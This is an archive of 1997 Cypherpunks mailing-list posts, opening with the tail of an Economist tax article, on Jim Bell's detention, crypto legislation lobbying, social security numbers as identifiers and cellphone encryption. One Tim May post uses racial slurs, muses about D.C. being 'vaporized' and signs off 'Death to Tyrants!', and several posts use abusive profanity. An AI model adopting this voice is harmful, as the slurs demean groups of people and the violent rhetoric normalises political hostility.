transactions offshore. But in so far as it succeeded, such a tax might just hamper the adoption of information technology, depriving people and businesses of its great productivity benefits. So if neither of these ideas is any good, why not do nothing? It is true that the full impact of electronic commerce and globalisation on governments' taxation powers is still some way off. The fact that tax levels vary from 60% of GDP in Sweden to 32% in America suggests that even in a globalising economy governments are still able to make distinctive fiscal choices. However, every so often a big Swedish company -- Ericsson most recently -- threatens to decamp because egregious income taxes make it difficult to recruit skilled employees. America's corporate taxes have withered to insignificance because of the mobility of firms. At present these are merely straws in the wind, and hardly new ones, but there is no doubt which way the wind is blowing. Some competition between tax regimes may be a good thing, if it encourages governments to show more discipline in their tax and spending policies. But one day globalisation and electronic commerce could make a sizeable dent in a country's total tax revenues. And these forces have already made a big impact on the way the burden of taxes falls on a population. This is what rules out the option of inaction. . . . and of equity Not all firms, workers and products are equally mobile. Entrepreneurs, scientists, tennis players and film stars may be able to uproot themselves in search of lower taxes, but the average worker is still unlikely to become a tax refugee. Although this may reassure governments, it implies that governments will eventually have to cut taxes on the most mobile factors of production, notably skilled workers, while taxes on less mobile unskilled workers will have to rise. Over the past decade or so taxes on capital have already fallen sharply while those on labour have risen. In future it will be harder to tax firms or high-earners at high rates because they are the most mobile. The implication is that unskilled labour will have to bear a greater burden. If they are to mitigate this change while maintaining their tax revenues, governments need to speed up tax reforms that are needed anyway to improve economic efficiency. In most countries at present, exemptions and loopholes distort the allocation of resources. Broadening the tax base by scrapping exemptions such as mortgage interest relief and zero rates of VAT on certain goods and services would allow a much lower rate of tax and therefore reduce the incentive for both tax evasion and migration. Less complex reporting requirements would reduce another incentive to hide from the taxman. A second needed change is to shift the tax base from income towards consumption and property, which is both immobile and hard to hide. Even consumption is becoming more mobile. But a consumption tax would both remove the present disincentive to save and help to collect taxes from tax dodgers (even those whose income comes from invisible Internet sales have to spend it). Having changed so much else in the world economy, globalisation and information technology will inevitably undermine the way governments raise taxes. Reforming the tax system to plug the hole is going to be hard. Not reforming it would be even worse. The Economist Home Page - Search - Contents - Next article � Copyright 1997 The Economist Newspaper Limited. All Rights Reserved From frissell at panix.com Sun Jun 1 18:58:25 1997 From: frissell at panix.com (frissell at panix.com) Date: Mon, 2 Jun 1997 09:58:25 +0800 Subject: Bell in Stir In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com> Message-ID: <3.0.2.32.19970601213439.0069a98c@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:20 AM 6/1/97 -0400, Declan McCullagh wrote: >The government is trying to persuade the judge that Bell is about to blow >up a Federal building, or poison water supplies, or something. So far the >judge has agreed and refused to consent to even bail conditions like house >arrest and radio bracelet. Bell could very well stay in jail for the >entirety of his trial. > But since the Feds won't be able to move to trial on those charges, they'll have to let him out on bail eventually. "General dangerousness" bullshit only works during the preliminary proceedings. Remember the Jake Baker case. Thirty days in stir and then dismissal. Probably no dismissal for Bell but no major charges either. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5IjLoVO4r4sgSPhAQFA1wQAs5aQScxXb38HOIvxycrC/ledhDWO4zKK SWozSb2Rv3YR/EF5AuabmPpSIBC/cKfhijQQhwBzD4rVVLZAU97xob/AGcGoaicX ue9fxJwkAWI4+TZyMP+JngwYYG6pEBWD8fkV9JjHxBIAWsSktvdIMD0qjzkyKnB3 H9v6Hb+vabI= =xxCl -----END PGP SIGNATURE----- From camcc at abraxis.com Sun Jun 1 19:01:57 1997 From: camcc at abraxis.com (Alec) Date: Mon, 2 Jun 1997 10:01:57 +0800 Subject: Jim Bell Defense fund In-Reply-To: <199706011641.LAA08290@manifold.algebra.com> Message-ID: <3.0.2.32.19970601214957.007f3330@smtp1.abraxis.com> At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote: |I guess everyone has forgotten about Jim Bell, but he is in no less |need of help than he used to be. | |I would like to know how to help him, and suggest to organize his |legal defense fund. | |igor I suggest this would be an appropriate use for the monies collected last year (?) to fly Dr. Vulvis to address a cypherpunks gathering. (As I recall, Dr. V. had some doubts about the airworthyness of the airline and so declined.) Alec From tcmay at got.net Sun Jun 1 19:18:07 1997 From: tcmay at got.net (Tim May) Date: Mon, 2 Jun 1997 10:18:07 +0800 Subject: e$: Beltway piglets and other barnyard animals In-Reply-To: Message-ID: At 5:01 PM -0700 6/1/97, Robert Hettinga wrote: >At 9:05 pm -0400 on 5/31/97, Marc Rotenberg wrote: > >> Keep me posted. If legislation is threatening a good technical >> solution, I'll be the first to blow the whistle. > >Bunk. If you want Marc R. to read your message, you really should cc: him on it. I don't think he's subscribed to the Cypherpunks list (though I could be wrong). I am adding him back on as a cc: to this message (I would've cc:ed him on my original "Rotenberg as the Uber Enemy" message a few days ago, had I known he would join in the discussion later). >The actual contribution of Mr. Rotenberg and his organization to the cause >of freedom on the net, in this country, and around the world, can be found >precisely in a competant analysis of above bit of semantic nonsense. That >is, it is nil, if not negative. Actually, I plan to take Marc at his word if such a situation comes up and EPIC is still involved in such lobbying. For starters, the "all e-mail must have a valid return address" legislation already being proposed (I know of bills by Barbara Murkowski of Alaska, and Denny Smith of Oregon; there may be others) is not only "anti-liberty," in the libertarian sense, and in the Supreme Court sense (McIntyre), it is also a *disincentive* to various digital technologies. It would put remailers in the U.S. out of business (we think, though it depends on the precise language of what a "return address" really means...employment for entire floors of lawyers at the Internet Regulatory Commission, no doubt). Likewise, EPIC can and should announce that it will not support SAFE if any form of criminalization language remains. We would not find it acceptable to have a law which encouraged the placement of microphones and cameras in private homes, "voluntarily," but which then said "Anyone who does not participate in the Voluntary Safe Surveillance Program and who is found to have committed a crime furthered by the failure to volunteer shall be subjected to additional imprisonment of at least 5 years." This is what the criminalization of crypto is all about. It is not, as is so often suggested, analogous to "use of a gun" in a crime, nor to "use of the public mails." It is much closer to the examples I cite, language and religion, than to use of a publicly-regulated monopoly like the telephones or the mail. The gun situation is presumably related to the threat of bodily harm...I'm not saying I agree with "use a gun, go to prison" sentencing enhancements, but a stronger case can be made than for "use a cipher, go to prison. So, Marc can immediately prove the honesty of his point by: a. denouncing any "return address" requirements and refusing to cooperate with any Congressthing who espouses such wrong-headed ideas b. denounce SAFE if it has any hint whatsoever of criminalization of crypto (Or of any of the (apparent) language about technical review panels deciding on exports...this is, to many of us, a code phrase indicating that SAFE will by no means make export of arbitrarily unbreakable ciphers an automatic process.) As I've said in other essays on SAFE, all that is needed to accomplish the goals of SAFE--the PR goals of SAFE, not the current language!--is this statement: "Computer software shall have the same status as any other written material: it shall not be subject to any laws regarding possession, sale, or export." Come to think of it, the First Amendment already states that Congress shall make no law. As for exports, the First has been applied to show that Congress cannot decide which books, magazines, movies, etc., may be exported. (And the Bernstein and Junger cases may soon consolidate the status of this interpretation for software.) So what do we even need SAFE for? Why give them any hooks, any "use of crypto in furtherance of a crime" language? > >Given his past outrageous failures, and his persistant attempts to waste >whatever reputation he now has left, remarks like the above finally prove >the trust people had for him and the organizations he has run was >completely misplaced. A reputation, I might add, literally *donated* to him >by thousands of people and companies, who all believed in and trusted him >*personally* to keep the Uncle Sam the Inquisitor out of their lives on the >net. He has now squandered all of it with the demonstrable cluelessness >found in the above bit of self-serving emeticism. Bob actually makes me appear charitable toward Marc! I agree with Bob that EPIC, CDT, VTW, EFF, CPSR, and the other alphabet soup players are just plain old lobbyists, pure and simple. Who they are lobbying _for_ has never been clear to me, despite their public statements and charters. Being a rejectionist, I don't see the point of dealing with Congress. The usual view is that "If you don't get involved, things will be even worse." I'm not convinced of this. It's often better to not lend them any support, not lend them any technical expertise, and devote all energies to undermining and challenging their actions later. And helping them draft legislation only feeds the process. I think it was George Carlin who said, "If you think you're part of the solution, you're part of the problem." >Tim May has said it here before, but it bears repeating. The way a >"lobbyist" stays in business is to threaten an otherwise innocent group of >people with the power of real or imagined legislative coersion. The >"constituents" then pay extortion to the legislature in the form of >outright campaign contributions through a political action comittee, or by >showing up at "voluntary" fundraisers on behalf of collusionary >legislators, or through soft-dollar labor ("research", for instance) that .... (good explanation of D.C. politics elided) Every one of the 535+ Congresscritters has a large staff (dozens? multiple dozens?), whose purpose is to feed the machine. As Bob notes, when funds gets low the legislators can threaten legislation. They may even convince themselves its a good idea. And they have various other contributors and pressure groups jockeying for laws and favors. It's all very nearly hopeless. And the cancer has spread nationwide. Just in my local community there are half a dozen jurisdictions, several "City Halls," multiple police forces (overlapping in territory covered), hundreds of new and byzantine rules every month, more fees, more inspectors, etc. As but one example, we're drilling a new well to replace our old well....the County wants $1000 to send a guy out to nod his head and initial our request--and with no guarantee they'll approve the well. More fees are needed for that. This is just plain robbery, though pro-government folks would likely say it is some kind of "pay as you go" reform (as in "We have a 6-story County Administration Building and 753 people on the payroll to pay for...so why shouldn't we extort a grand from you to help pay for it?"). There are so many laws it's impossible to know which laws I'm breaking. I carry a Benchmade AFCK folding knife clipped to my pants pocket. In Santa Cruz proper the law says that such a knife is considered "concealed" if clipped so that only the clip shows, whereas in Santa Cruz County, outside the city limits (though maybe the laws just cancel out inside?) the interpretation allows knives to be carried in pockets. And in some other local areas, the clip doesn't have to be visible. (And in some places, a knife worn "openly" is considered "brandishment.") Further, violations of these confusing and often contradictory knife laws are _felonies_, not misdemeanors (the felony status of knife law violations, where gun violations are often misdemeanors, is said by experts in rec.knives and in my gun magazines to come from the time when "niggers and spics" carried switchblades, concealed knives, dirks, buckle knives, etc., while "gentlemen" carried derringers and small revolvers for protection...so the law came down hard on the knife-carrying spics and niggers and the heritage is with us today. It's getting to where I need a CD-ROM and GPS mounted in my truck telling me: "You are about to cross into the jurisdiction of Burgville, California. The following items are illegal and must be disposed of or moved to a locked container: ..." This explosion of rules, statutes, licenses, laws, regulations, and limitations is being fed by the multiple City Councils, Boards of Supervisors, County Commissioners, City Managers, and hordes of burrowcrats (sic, and sick, too) infesting the multi-story "government" buildings in every small town and county. Not to mention entire cities devoted to lawmaking, like Sacramento, Albany, Washington, etc. The simple question to ask is this: Why do we need several thousand rule-generating and lobbyist-seeking governments? Why do we need governments at the neighborhood level, the township level, the city level, the county level, the state level, and the national level? (And the meta-national level, with the U.N, World Court, OECD, etc.) I could comment more on Bob's other points, but I think you all get the picture. Things are way out of control. Not because of any intrinsic evilness on the part of the bureaucrats, but just for purely systemic reasons. This has to change, and it can't be changed from within....the rules won't allow it. The change has to come from outside, probably from some severe jolts applied to the system. No, I don't mean blowing up Washington, or even a few buildings. Much as I might like to see D.C. vaporized, such jolts are not what I am thinking of. Undermining the institutions of government with strong crypto is one of the jolts. There are others. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From grafolog at netcom.com Sun Jun 1 19:42:00 1997 From: grafolog at netcom.com (jonathon) Date: Mon, 2 Jun 1997 10:42:00 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: Message-ID: On Sun, 1 Jun 1997, Tim May wrote: > At 5:25 PM -0700 6/1/97, William H. Geiger III wrote: > >stored on individules a SS number is quite convienat as everyone has a > >unique one. Most employee, payroll, medical, insurance, credit, databases Somebody here is forgetting that the Social Security Adminstration, back in the mid-eighties claimed that at least 10 percent of the numbers in use, were improperly issued. The same number was issued to _two or *more*_ people. The worst case was a number that several thousand people used, thinking it was issued to them, exclusively, when it was in fact never issued. A further complication is that the same individual could have been issued two or _more_ different numbers, either by design, or accident. > >unique qualities that make it perfect for this use: 1 every person has a > >unique #, and 2 it never changes. This can not be said for any other Both premises are false, and the SSA has said so on several different occasions. > without entry of any allegedly random numbers, and without any hashing > of personal data. It's not necessarily a real short number, certainly > not as short as an SS number. One proposal I'm familiar with was: date of birth << year month day >> time of birth << hours, minutes, seconds >> longitude of birth << degrees, minutes, seconds >> lattitude of birth << degrees, minutes, seconds >> sex << one letter >> mother's initials << first, middle, last >> father's initials << first, middle, last >> so you'd end up with something like 19970601185500-0300000.00-300000.00mxyzwvz << A number which would be issued to a male born today somewhere slightly north of Port Shepstone, and slightly west of Pietermaritzburg, RSA. >> However, there are several problems with it, the two most notable being the lack of accurate birth times, and that most people have a very hard time remembering 42 digit numbers. I don't know how solvable those, and other not so apparant problems are, but I suspect that it has been intensively studied by more than a few governments and organizations, since it was first proposed, fifty something years ago. xan jonathon grafolog at netcom.com Monolingualism is a curable disease From rah at shipwright.com Sun Jun 1 19:54:44 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 2 Jun 1997 10:54:44 +0800 Subject: e$: Beltway piglets and other barnyard animals In-Reply-To: Message-ID: At 10:05 pm -0400 on 6/1/97, Tim May wrote: > If you want Marc R. to read your message, you really should cc: him on it. Actually, I don't give a squalling fuck whether he reads it or not. :-). Anything said to Piglet won't matter much. That which is said to cypherpunks, on the other hand, is a different matter entirely. Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From ichudov at algebra.com Sun Jun 1 20:35:00 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 2 Jun 1997 11:35:00 +0800 Subject: Jim Bell Defense fund In-Reply-To: <3.0.2.32.19970601214957.007f3330@smtp1.abraxis.com> Message-ID: <199706020328.WAA02206@manifold.algebra.com> i am sure that no money was collected, and even more certainly none is left. igor Alec wrote: > > At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote: > |I guess everyone has forgotten about Jim Bell, but he is in no less > |need of help than he used to be. > | > |I would like to know how to help him, and suggest to organize his > |legal defense fund. > | > |igor > > I suggest this would be an appropriate use for the monies collected last year (?) to fly Dr. Vulvis to address a cypherpunks gathering. > > (As I recall, Dr. V. had some doubts about the airworthyness of the airline and so declined.) > > Alec > - Igor. From rah at shipwright.com Sun Jun 1 20:38:08 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 2 Jun 1997 11:38:08 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: Message-ID: Okay. I'll bite. 1. Take a dollar. 2. Write down the serial number. 3. Burn the dollar. Can you say "seignorage"? I knew you could... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From declan at well.com Sun Jun 1 21:04:29 1997 From: declan at well.com (Declan McCullagh) Date: Mon, 2 Jun 1997 12:04:29 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: So I just got back home after a pleasant dinner with Marc and a bunch of other privacy- and crypto-folks on Capitol Hill. That is, it was pleasant until Marc started yelling about libertarians being "Pod People," or at least possessing similar critical thinking skills. :) Ahem. I'd like to say I held my own, but I fear I was outnumbered. Besides, Marc organized the dinner, and "Pod People" is a good line, and even I had to agree that Steve Forbes is a space alien. On Sun, 1 Jun 1997, Tim May wrote in response to Robert: > > >Yes, I would support a law that forbids private companies to ask for social > >security numbers except for tax purposes. > > To put it as politely as I can manage, you have no conception of what it > means to live in a free, uncoerced society. > > No wonder the EFF is so fucked up. To the best of my knowledge, EF-Georgia does not speak for the EFF. I don't know if the EFF would support such a law as Robert describes. Perhaps Stanton can help out here. Rather than focus on private collection of SSNs, I'd rather cut them off at the source. The government shouldn't be issuing them in the first place. -Declan From whgiii at amaranth.com Sun Jun 1 21:12:27 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Mon, 2 Jun 1997 12:12:27 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: Message-ID: <199706020349.WAA09406@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/02/97 at 02:24 AM, jonathon said: >On Sun, 1 Jun 1997, Tim May wrote: >> At 5:25 PM -0700 6/1/97, William H. Geiger III wrote: >> >stored on individules a SS number is quite convienat as everyone has a >> >unique one. Most employee, payroll, medical, insurance, credit, databases > Somebody here is forgetting that the Social Security > Adminstration, back in the mid-eighties claimed that at least > 10 percent of the numbers in use, were improperly issued. This is really no suprise considering who is issueing the numbers. :=/ > The same number was issued to _two or *more*_ people. The worst > case was a number that several thousand people used, thinking it > was issued to them, exclusively, when it was in fact never issued. This is rarely a problem from a data managemant posistion as SS # are key fields. Any attempts at adding duplicates produces errors which then have to be resolved usally manually by human intervention. Rarely are SS #'s used exclusivly but in combination with other data (name & DOB is usaully suffecient). > A further complication is that the same individual could have been > issued two or _more_ different numbers, either by design, or > accident. I doubt that 2 or more SS# would be issued delibratly. The only reason for multiple SS#'s would either be screw-ups by SSA or by design of the person applying for the SS#. I imagine that new SS# may be issued in some special cases such as witeness relocation, perhaps after adoption, but then the old SS# is not being used so it is not really an issue. >> >unique qualities that make it perfect for this use: 1 every person has a >> >unique #, and 2 it never changes. This can not be said for any other > > Both premises are false, and the SSA has said so on several > different occasions. For all practical purposes it is. with the exception of screw-ups by SSA ones SS # is unique and with the exception of a few rare cases mentioned above it never changes. compare this to other identifiers and it is obviously the most convienient id # available. Atleast 50% of the population has 1 name change durring the cource of their lifes, Addresses change numerious times during an average americans lifetime, and DOB's are not unique enough to be used. While problems do exsist with using SS#'s as id they are quite small when compaired to using other less stable data to generate id #'s. >> without entry of any allegedly random numbers, and without any hashing >> of personal data. It's not necessarily a real short number, certainly >> not as short as an SS number. > > One proposal I'm familiar with was: > date of birth << year month day >> > time of birth << hours, minutes, seconds >> > longitude of birth << degrees, minutes, seconds >> > lattitude of birth << degrees, minutes, seconds >> > sex << one letter >> > mother's initials << first, middle, last >> > father's initials << first, middle, last >> > so you'd end up with something like > 19970601185500-0300000.00-300000.00mxyzwvz > << A number which would be issued to a male born today > somewhere slightly north of Port Shepstone, and slightly west > of Pietermaritzburg, RSA. >> > However, there are several problems with it, the two most notable > being the lack of accurate birth times, and that most people have > a very hard time remembering 42 digit numbers. > I don't know how solvable those, and other not so apparant > problems are, but I suspect that it has been intensively > studied by more than a few governments and organizations, since > it was first proposed, fifty something years ago. Really much to complex to be of use not to mention the lack of reliable data to form the id #. The use of DOB + Geographic Identifier + Unique Code would work quite well. 19970601 - DOB. 0123 - Sample Geographic Identifier (say NY City). 0142 - Unique Code added to handle collisions of the above two. I beleive that this is very simmilar to what the SSA uses though I beleive that they only encode the year of birth when calculating SS #'s. Using Hex rather than decimal for encoding would help greatly in redicing the number of digits required. I would imagine that the SSA will have to go to a Hex or complete Alphanumeric codings system as the population increases. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5JDZ49Co1n+aLhhAQGe8gQAkZk6fySrIz3XF2mui2xzPmquJguy01VG ex8LgvdUqlxsf1on1ap9pt5c9T/k6n1+Ovj8+Hj6C/cVkJo+ql33ZzMxxaZq7lLz N/CO1lcT+JkWtAjLfCsqxflBFin2CuUN3tnAWj/9BHVqhRTLXJ/v1gr2/zwdHtRc mwoGmtaKHUA= =RXle -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Sun Jun 1 21:55:52 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 2 Jun 1997 12:55:52 +0800 Subject: CyberTects/SSZ status (fwd) Message-ID: <199706020335.WAA10340@einstein.ssz.com> Forwarded message: >From ravage at ssz.com Sun Jun 1 22:33:10 1997 From: Jim Choate Message-Id: <199706020333.WAA10315 at einstein.ssz.com> Subject: CyberTects/SSZ status To: users at einstein.ssz.com Date: Sun, 1 Jun 1997 22:33:08 -0500 (CDT) Cc: consulting at einstein.ssz.com, pwright at einstein.ssz.com, toddm at tivoli.com X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2928 Hi, We had our business planning meeting tonite and the following was dediced: * CyberTects will be no more by the end of the week. In its place is a new Commercial Web Service firm called (tadah).. The Armadillo Group There will be specific instructions in a day or so about where to send your payments for outstanding service bills. * Update of service fee's: Monthly webpage $25.00 Customer Server Hosting, monthly $100.00 SLIP/PPP, dial-in, monthly $20.00 SLIP/PPP, dedicated, monthly, 1 IP $100.00 IP Sets, 10 IP's (initial 1 & 9 more), annual $100.00 Shell access, w/ other account only $10.00 Labor charges, hourly, rounded up $80.00 Sales Tax NOT included, 8.25% in Texas * We will be focusing on a limited set of services: - expansion of services provided outside the SOHO sector into the general business community. - various flavors of dial-in and dedicated connectivity options including a move to ISDN availablity with the increase in our primary feed to the Internet. - webpage hosting w/ in-house development as required by the customer. - hosting of customers servers in-house providing a level of technical support previously available only to large firms. * The current Real/Time ISDN contract expires at the end of September. At this point we plan to have either a T1 or ADSL in place with additional servers. * It looks like the current plan is to NOT have onsite service, training, and other services available through CyberTects in the past propogate through this change over. There will be a clearer mailing later in the week better detailing exactly what will be available and what we will be dropping. Note: Even if the firm as a whole ceases to host mailing lists I will continue to host them using my own resources. I will continue to do some onsite service and such on my own. * The future of the Elgin site expansion to fully mirror SSZ and provide 100% backup may not be implimented because of the drop of other services. I have not decided if this will be something that I take on personaly if it is dropped. If you have any further questions or would like to express your views on these changes, please don't send email to me. Instead send it to 'consulting at ssz.com' so that the whole group may discuss the issues. Our goal as always is to provide you with professional service & support. Jim Choate The Armadillo Group ravage at ssz.com From die at pig.die.com Sun Jun 1 22:01:41 1997 From: die at pig.die.com (Dave Emery) Date: Mon, 2 Jun 1997 13:01:41 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <2372.865205390@zelkova.qualcomm.com> Message-ID: <199706020425.AAA10749@pig.die.com> Paul Pomes wrote : > "William H. Geiger III" writes: > > |It's an intresting side note that the reason why the Cell Phones in this > |country do not use strong crypto is because of the intervention of the FCC > |and associated Federal LEA's. > > Not that it would have mattered except to scanner owners with too much time > on their hands. The LEAs can intercept at the cellular base station where > the air segment traffic is decrypted. While your point about link versus end to end security is certainly most important, LEAs have a long track record of illegal, or at least unofficial, warrentless interceptions. And they have bought lots of high end scanners (ask any ICOM dealer). Interception via the Digital Telephony mandated interfaces is supposed to handled by a telco employee under the Digital Telephony act provisions and as such is logged and on record, whilst nobody is the wiser about radio link interceptions. And it is a lot easier to get a wiretap warrent when you've already got some evidence from a "very reliable confidential informant". I don't doubt that the NSA and CIA and other related agencies have methods of using backdoors in switch and cross connect software to bypass the Telco people who are supposed to be logging the wiretap, but law enforcement in general is much less apt to have access to these highly sensitive and classified entry points which necessarily are closely guarded. And of course nothing in US law does any good for TLAs operating elsewhere, even though the hardware is the same or similar. > For mobile-to-landline, the landline options are decidely minimal. If you > go with STU-III you have the problem of a fixed-rate 4800 baud modulation > sucking up bandwidth. That could be put in the base station but then the > path is no longer end-to-end. > Unfortunately nobody has addressed this little issue. Cellular IP connectivity in its various flavors may help, but then you get into the worst case latency and related queueing issues that makes data type connections unpleasant for high quality voice. And the person using the cellphone has to have an external encryption and vocoding box even though the phone has all this built in. Of course it would have been possible to accomadate this if there had been a market.... In fact it would be technically possible to offer a secure end to end service connecting to existing encrypting digital cellphones based on letting the party at the POTS end, armed with suitable software on a PC, decrypt and demodulate the voice. The carrier would merely pass standard encrypted voice packets back and forth between the cellphone and the PC, persumably over a standard wireline modem to the PC. Might be rather strange, but modern PC hardware should be able to handle this kind of compute load easily. I don't know if there is any provision in current cellphone firmware for negotiating a voice privacy key in such a way that the carrier would not know it, but I suppose that something could be developed. Or alternatively special cellphone firmware could be developed that would complete a special class of data connection to the POTS end and shovel the existing vocoded voice packets back and forth under a DH negotioted key. For the cell carrier this would be a special (low latency, fixed bandwidth, in order delivery) grade of data connection which could be used for all kinds of things, but for the cellphone user it would obviate the need for an external secure telephone and would allow even small hand held digital cellphones to communicate securely end to end. And the POTS end could be either a PC or a secure handset based on cellphone technology that would be also useful for secure calls on wireline connections. But I guess I dream, as there are those who would not appreciate this... > /pbp > From pooh at efga.org Sun Jun 1 22:03:13 1997 From: pooh at efga.org (Robert A. Costner) Date: Mon, 2 Jun 1997 13:03:13 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: <3.0.2.32.19970602002628.0070932c@keystone.intergate.net> -----BEGIN PGP SIGNED MESSAGE----- At 08:47 PM 6/1/97 -0700, Declan McCullagh wrote: >On Sun, 1 Jun 1997, Tim May wrote in response to Robert: >> >> >Yes, I would support a law that forbids private companies to ask for social >> >security numbers except for tax purposes. >> >> No wonder the EFF is so fucked up. > >To the best of my knowledge, EF-Georgia does not speak for the EFF. I >don't know if the EFF would support such a law as Robert describes. >Perhaps Stanton can help out here. Yes. Declan is correct. For anyone else who is confused, I'm not a beltway person, and I have no association with EFF. I'm not a policy analyst. I'm a software developer. I work for a living and pay my own way. I do have opinions. Beliefs in privacy, free speech, and core belief that technology and the internet is good. I pursue this as a hobby to the best of my ability. I take advice from others, and try to get them to help educate me in matters I do not understand. Once I act on my opinions and beliefs, I tend to win. -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQBVAwUBM5JLcEGpGhRXg5NZAQFvuAH9FxwHRAUukQ0+3iyDX1cOgFmTxRT+0Q8q yTLiHhVI7BJ2Uco/YUmnlwoqsGngkzd2joVTUVAA/wJvztvvgBq3BA== =D8D4 -----END PGP SIGNATURE----- -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From lucifer at dhp.com Sun Jun 1 22:09:24 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Mon, 2 Jun 1997 13:09:24 +0800 Subject: New SSN Law Message-ID: <199706020427.AAA18231@dhp.com> Robert A. Costner wrote: > Why does the store need my social security number for me to purchase soft > drinks and eggs? (40 cents off on eggs this week) I see no reason for it. > If I provide a false number, I have probably committed some crime. > > Yes, I would support a law that forbids private companies to ask for social > security numbers except for tax purposes. Am I missing something? Didn't we used to have one of those? Wasn't that changed so that government and corporate interests could put us all in more efficient boxes to control us and make money off of us? Some states already use the SSN on the driver's licenses. More will follow. The SSN is our National Identity Card and there is no going back. The tattoo is history and the Identity Chip is the future. From mpd at netcom.com Sun Jun 1 22:10:32 1997 From: mpd at netcom.com (Mike Duvos) Date: Mon, 2 Jun 1997 13:10:32 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: Message-ID: <199706020337.UAA24856@netcom10.netcom.com> Our Fearless Leader Writes: > This reminds me of a hack I heard about some years back. > There's a way to generate a number for any person which is unique. It is > not shared by anyone else on the planet. > Best of all, this number can be generated without use of a computer, > without entry of any allegedly random numbers, and without any hashing of > personal data. It's not necessarily a real short number, certainly not as > short as an SS number. > And best of all, the cost is low. Just a dollar, in fact. > I'll explain later. Hmmmmm. How about taking a dollar, appropriating its serial number for your personal number, and then burning the dollar to prevent reuse. Cost, one dollar. Is burning a dollar a felony? -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From grafolog at netcom.com Sun Jun 1 22:25:49 1997 From: grafolog at netcom.com (jonathon) Date: Mon, 2 Jun 1997 13:25:49 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: <199706020349.WAA09406@mailhub.amaranth.com> Message-ID: On Sun, 1 Jun 1997, William H. Geiger III wrote: > In , on 06/02/97 > at 02:24 AM, jonathon said: > Really much to complex to be of use not to mention the lack of reliable > data to form the id #. For person's currently living, maybe the data is lacking. However, tagging an ID at birth, for future citizen units, is perfectly feasable. << And do note in passing that hospitals do have SSNs issued to new-borns, regardless of the wishes/request/knowledge/authorization/permission of parent(s). >> > The use of DOB + Geographic Identifier + Unique Code would work quite Err, the code I listed was of that format --- just a lot more more specific than the following. > 19970601 - DOB. > 0123 - Sample Geographic Identifier (say NY City). > 0142 - Unique Code added to handle collisions of the above two. > > I believe that this is very simmilar to what the SSA uses though I believe > that they only encode the year of birth when calculating SS #'s. SSN consists of xxx-yy-zzzz xxx is state of issue. yy _can_ correspond to year(s) of issue, and locale with the state. << Usually just a range of years that it was issued in. >> zzzz is the sequence number. Each issued number just goes up one more. Though certain numbers are deliberatly skipped. There are certain checks that can be done, to figure out if a number _could_ have been issued to an individual. > of digits required. I would imagine that the SSA will have to go to > a Hex or complete Alphanumeric codings system as the population increases. They currently recycle old numbers, though there are still a number of unused sequences that are available. << Roughly the current population of the usa. >> xan jonathon grafolog at netcom.com Monolingualism is a curable disease From rotenberg at epic.org Sun Jun 1 22:34:49 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Mon, 2 Jun 1997 13:34:49 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: > >Likewise, EPIC can and should announce that it will not support SAFE if any >form of criminalization language remains. > >We would not find it acceptable to have a law which encouraged the >placement of microphones and cameras in private homes, "voluntarily," but >which then said "Anyone who does not participate in the Voluntary Safe >Surveillance Program and who is found to have committed a crime furthered >by the failure to volunteer shall be subjected to additional imprisonment >of at least 5 years." > >This is what the criminalization of crypto is all about. It is not, as is >so often suggested, analogous to "use of a gun" in a crime, nor to "use of >the public mails." It is much closer to the examples I cite, language and >religion, than to use of a publicly-regulated monopoly like the telephones >or the mail. The gun situation is presumably related to the threat of >bodily harm...I'm not saying I agree with 